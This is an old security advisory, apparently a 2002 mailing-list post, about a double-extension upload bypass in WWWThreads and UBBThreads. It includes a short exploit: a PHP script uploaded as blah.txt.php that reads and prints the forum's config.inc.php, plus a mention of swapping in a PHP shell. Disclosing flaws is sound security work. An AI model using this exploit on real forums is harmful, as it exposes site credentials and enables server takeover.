OSEC

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From: Root Extractor (condorphreaker.net)
Date: Wed Jan 30 2002 - 16:12:17 CST

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    ('binary' encoding is not supported, stored as-is) [ WWWThreads, UBBThreads ] Security Hole in
    upload system

    Author: RootExtractor, CompuMe
    condorphreaker.net, compume2000hotmail.com

    I. Details
    II. Vulnerable ver's
    III. Example, Xploit
    IV. Solution

    Details :

    ..: config.inc.php :..
    ------------------------- snip ------------------------------

    // $config['excludefiles']
    = ".php,.asp,.js,.vbs,.sht,.htm";
       $config['allowfiles'] = ".zip,.txt,.gif,.jpg,.jpeg,.bmp";

    ------------------------- snip ------------------------------

     
    that files that were not listed in the allow files could
    still be uploaded. Seems you checked the extension
    but if someone added an allowable extension first
    before the bogus extension the file would upload.

    vulnerable :
    WWWThreads and UBBThreads 5.5 Dev11 and piror

    not vulnerable :
    UBBThreads 5.5

    Example :
    you allow the upload or .txt,.jpg,.bmp,.zip
    all files that don't have those extensions should not
    be uploaded
    However if somebody changes the name of the file to
    blah.txt.php the file will validate and upload......huh !

    Xploit :
    1) make new file $ touch blah.txt.php
    2) edit it $ vi blah.txt.php (in this step, write a php
    code, for example)

                        <?php
                                $readfile = join("", file
    ("../config.inc.php"));
                              print $readfile;
                        ?>

    3) save & upload it
    4) visit your blah file, now you can to see a config file
    of your victim forum
    5) i'm replaced readfile code by php shell file


    Solution :
    visit infopop.com and download ubbthreads 5.5
    http://www.infopop.com/


    Copyright 2002 recm security team
    http://hop.to/condor